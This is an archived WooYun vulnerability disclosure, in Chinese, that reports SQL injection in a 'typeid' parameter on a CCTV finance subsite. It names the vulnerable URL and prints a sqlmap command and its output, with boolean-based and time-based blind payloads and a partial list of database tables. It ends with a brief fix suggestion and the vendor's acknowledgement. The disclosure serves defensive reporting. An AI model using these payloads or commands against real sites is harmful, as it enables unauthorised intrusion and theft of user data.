当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158138

漏洞标题:CCTV某重要站点SQL注入

相关厂商:中国网络电视台

漏洞作者: 路人甲

提交时间:2015-12-04 09:40

修复时间:2016-01-18 12:00

公开时间:2016-01-18 12:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-04: 细节已通知厂商并且等待厂商处理中
2015-12-04: 厂商已经确认,细节仅向厂商公开
2015-12-14: 细节向核心白帽子及相关领域专家公开
2015-12-24: 细节向普通白帽子公开
2016-01-03: 细节向实习白帽子公开
2016-01-18: 细节向公众公开

简要描述:

sql注入

详细说明:

站点是CCTV证券子站
注入点:

http://www.cctvfinance.com/hangqing/archives?typeid=25


zsv2_zhengquan库里有168个表 包括用户数据member表

QQ20151203-2@2x.png

漏洞证明:

sqlmap -u "http://www.cctvfinance.com/hangqing/archives?typeid=25" -D zsv2_zhengquan --tables
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20141123}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:21:44
[22:21:44] [INFO] resuming back-end DBMS 'mysql'
[22:21:44] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: typeid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: typeid=25' AND 7398=7398 AND 'WeWf'='WeWf
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: typeid=25' AND SLEEP(5) AND 'YEFE'='YEFE
---
[22:21:45] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[22:21:45] [INFO] fetching tables for database: 'zsv2_zhengquan'
[22:21:45] [INFO] fetching number of tables for database 'zsv2_zhengquan'
[22:21:45] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[22:21:45] [INFO] retrieved: 168
[22:21:47] [INFO] retrieved: dy_ad
[22:21:56] [INFO] retrieved: dy_adlibrary
[22:22:11] [INFO] retrieved: dy_adminloginjump
[22:22:32] [INFO] retrieved: dy_adposition
[22:22:47] [INFO] retrieved: dy_advertising
[22:23:03] [INFO] retrieved: dy_code
[22:23:12] [INFO] retrieved: dy_codecomponent
[22:23:28] [INFO] retrieved: dy_coderanking
[22:23:42] [INFO] retrieved: dy_comment
[22:23:53] [INFO] retrieved: dy_commentzan
[22:24:01] [INFO] retrieved: dy_fileup
[22:24:12] [INFO] retrieved: dy_fileuphc
[22:24:18] [INFO] retrieved: dy_hq
[22:24:23] [INFO] retrieved: dy_hqhc
[22:24:28] [INFO] retrieved: dy_hqhcins
[22:24:35] [INFO] retrieved: dy_hqins
[22:24:44] [INFO] retrieved: dy_hqsz
[22:24:50] [INFO] retrieved: dy_hqszhc
[22:24:56] [INFO] retrieved: dy_hqszhcins
[22:25:03] [INFO] retrieved: dy_hqszins
[22:25:11] [INFO] retrieved: dy_hqtime
[22:25:20] [INFO] retrieved: dy_hqtimehc
[22:25:27] [INFO] retrieved: dy_memberthird
[22:25:46] [INFO] retrieved: dy_program
[22:26:02] [INFO] retrieved: dy_program20150918
[22:26:19] [INFO] retrieved: dy_programcache
[22:26:31] [INFO] retrieved: dy_programpicture
[22:26:47] [INFO] retrieved: dy_recommend
[22:27:02] [INFO] retrieved: dy_regmember
[22:27:14] [INFO] retrieved: dy_seizeconfig
[22:27:34] [INFO] retrieved: dy_seizemember
[22:27:48] [INFO] retrieved: dy_seizesequence


就不全部贴出来了

修复方案:

typeid intval一下吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-12-04 11:59

厂商回复:

非常感谢!~~感谢您对我们的支持和帮助!~~~

最新状态:

暂无